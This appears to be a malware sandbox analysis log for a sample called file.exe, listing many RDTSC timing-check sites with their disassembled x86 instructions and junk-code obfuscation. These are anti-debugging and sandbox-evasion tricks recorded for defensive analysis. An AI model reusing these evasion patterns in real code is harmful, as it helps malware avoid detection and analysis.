Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B541 second address: 93B545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9397C4 second address: 9397C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93DB0C second address: 93DB19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93DB19 second address: 93DB1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93DB1D second address: 93DB21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 944A8A second address: 944A90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 944A90 second address: 944AB9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F988D0B0288h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F988D0B028Bh 0x00000010 jns 00007F988D0B028Ch 0x00000016 pushad 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9443FB second address: 944400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 944400 second address: 944408 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9446A8 second address: 9446AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94914E second address: 94915B instructions: 0x00000000 rdtsc 0x00000002 jns 00007F988D0B0286h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94915B second address: 949169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 949169 second address: 94916F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DB7AC second address: 8DB7DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F988C7CE329h 0x00000009 je 00007F988C7CE316h 0x0000000f popad 0x00000010 jmp 00007F988C7CE31Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DB7DC second address: 8DB80A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F988D0B0288h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007F988D0B02ADh 0x00000012 jmp 00007F988D0B0299h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DB80A second address: 8DB810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94DFB4 second address: 94DFC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94DFC5 second address: 94DFCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94DFCB second address: 94DFCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94E683 second address: 94E687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94E687 second address: 94E68B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94E68B second address: 94E696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 953173 second address: 95318F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F988D0B0286h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007F988D0B0286h 0x00000016 jc 00007F988D0B0286h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9532CF second address: 9532D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 953468 second address: 95346C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95346C second address: 9534CA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F988C7CE31Ah 0x0000000c jmp 00007F988C7CE325h 0x00000011 popad 0x00000012 pushad 0x00000013 push edi 0x00000014 jmp 00007F988C7CE31Dh 0x00000019 jmp 00007F988C7CE320h 0x0000001e pop edi 0x0000001f jmp 00007F988C7CE324h 0x00000024 push eax 0x00000025 push edx 0x00000026 push ecx 0x00000027 pop ecx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 953B96 second address: 953BAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B0291h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 953E5F second address: 953E65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9540FD second address: 95413F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F988D0B0292h 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b pushad 0x0000000c jns 00007F988D0B0286h 0x00000012 jbe 00007F988D0B0286h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pushad 0x0000001c jmp 00007F988D0B0296h 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95413F second address: 954145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90599A second address: 9059A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9059A0 second address: 9059D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F988C7CE316h 0x0000000a jmp 00007F988C7CE325h 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007F988C7CE320h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95457A second address: 954580 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 952E5A second address: 952E73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE31Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 952E73 second address: 952E79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95FD03 second address: 95FD07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95FD07 second address: 95FD0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95FD0B second address: 95FD16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95EB5E second address: 95EB64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 928EB0 second address: 928EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 928EB7 second address: 928EBC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9291DC second address: 9291E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9291E1 second address: 76EB30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a xor dword ptr [ebp+12484F1Dh], esi 0x00000010 push dword ptr [ebp+122D15EDh] 0x00000016 call dword ptr [ebp+122D1E38h] 0x0000001c pushad 0x0000001d mov dword ptr [ebp+122D33D9h], eax 0x00000023 xor eax, eax 0x00000025 sub dword ptr [ebp+122D33D9h], edx 0x0000002b mov edx, dword ptr [esp+28h] 0x0000002f jne 00007F988D0B028Ch 0x00000035 mov dword ptr [ebp+122D3767h], eax 0x0000003b clc 0x0000003c mov esi, 0000003Ch 0x00000041 mov dword ptr [ebp+122D33D9h], edx 0x00000047 sub dword ptr [ebp+122D33D9h], eax 0x0000004d add esi, dword ptr [esp+24h] 0x00000051 add dword ptr [ebp+122D2B50h], edx 0x00000057 lodsw 0x00000059 sub dword ptr [ebp+122D2B50h], ecx 0x0000005f add eax, dword ptr [esp+24h] 0x00000063 sub dword ptr [ebp+122D2B50h], edi 0x00000069 mov ebx, dword ptr [esp+24h] 0x0000006d stc 0x0000006e nop 0x0000006f push eax 0x00000070 push edx 0x00000071 push esi 0x00000072 jmp 00007F988D0B0296h 0x00000077 pop esi 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 929350 second address: 92935D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92935D second address: 929361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9293D7 second address: 9293DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9293DB second address: 9293E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9293E1 second address: 9293F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F988C7CE324h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 929B40 second address: 929B74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B028Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b jmp 00007F988D0B028Ah 0x00000010 pop esi 0x00000011 nop 0x00000012 mov ecx, ebx 0x00000014 push 0000001Eh 0x00000016 mov cx, si 0x00000019 nop 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F988D0B028Ch 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 929B74 second address: 929B9E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007F988C7CE316h 0x0000000d push edx 0x0000000e pop edx 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F988C7CE322h 0x0000001a push esi 0x0000001b pop esi 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 929CD4 second address: 929CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 929CD8 second address: 929CDD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 929CDD second address: 929CF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jnc 00007F988D0B0286h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 929E82 second address: 929E93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F988C7CE31Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 929E93 second address: 929EA8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jc 00007F988D0B0290h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95EFB4 second address: 95EFB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95EFB8 second address: 95EFD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop edi 0x0000000e jmp 00007F988D0B0292h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965013 second address: 96501C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96501C second address: 965020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965020 second address: 965024 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965024 second address: 96502A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96502A second address: 965043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F988C7CE316h 0x0000000e jmp 00007F988C7CE31Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9655C3 second address: 9655FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F988D0B0286h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b ja 00007F988D0B0286h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pushad 0x00000015 push edx 0x00000016 pop edx 0x00000017 jbe 00007F988D0B0286h 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 pop edx 0x00000021 pop eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F988D0B0291h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9655FC second address: 965600 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965600 second address: 965635 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B0299h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F988D0B0298h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96598E second address: 965996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965B17 second address: 965B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965CA4 second address: 965CC9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F988C7CE329h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9691FA second address: 9691FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 968F2C second address: 968F30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 968F30 second address: 968F36 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 968F36 second address: 968F3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96B77B second address: 96B781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96B336 second address: 96B33E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96B33E second address: 96B343 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96B343 second address: 96B36E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F988C7CE329h 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jns 00007F988C7CE316h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96B4CB second address: 96B4D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F988D0B0286h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CE17 second address: 96CE1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 972335 second address: 97233F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F988D0B028Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9724A6 second address: 9724AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9724AB second address: 9724CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F988D0B0292h 0x00000009 jmp 00007F988D0B028Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9724CF second address: 9724D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9724D3 second address: 9724E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F988D0B0286h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007F988D0B0292h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9727A1 second address: 9727CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE320h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F988C7CE328h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 929904 second address: 9299A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B0298h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jmp 00007F988D0B0294h 0x00000011 mov ch, al 0x00000013 mov ebx, dword ptr [ebp+1248DA46h] 0x00000019 jl 00007F988D0B0297h 0x0000001f call 00007F988D0B028Ah 0x00000024 jl 00007F988D0B0286h 0x0000002a pop ecx 0x0000002b add eax, ebx 0x0000002d push 00000000h 0x0000002f push eax 0x00000030 call 00007F988D0B0288h 0x00000035 pop eax 0x00000036 mov dword ptr [esp+04h], eax 0x0000003a add dword ptr [esp+04h], 00000017h 0x00000042 inc eax 0x00000043 push eax 0x00000044 ret 0x00000045 pop eax 0x00000046 ret 0x00000047 sub edx, dword ptr [ebp+122D381Bh] 0x0000004d nop 0x0000004e jmp 00007F988D0B0293h 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 jp 00007F988D0B0290h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9299A4 second address: 929A12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b js 00007F988C7CE31Ch 0x00000011 je 00007F988C7CE316h 0x00000017 push 00000004h 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007F988C7CE318h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 0000001Ah 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 call 00007F988C7CE31Bh 0x00000038 sub dword ptr [ebp+12455E52h], edx 0x0000003e pop edi 0x0000003f nop 0x00000040 jc 00007F988C7CE31Eh 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 push esi 0x0000004a jmp 00007F988C7CE31Dh 0x0000004f pop esi 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 929A12 second address: 929A18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9736CF second address: 9736FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F988C7CE31Ch 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F988C7CE322h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jnp 00007F988C7CE316h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9760D1 second address: 9760D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9760D5 second address: 9760DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9760DF second address: 9760E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9763E8 second address: 97640D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F988C7CE328h 0x00000008 pop esi 0x00000009 pushad 0x0000000a jnl 00007F988C7CE316h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
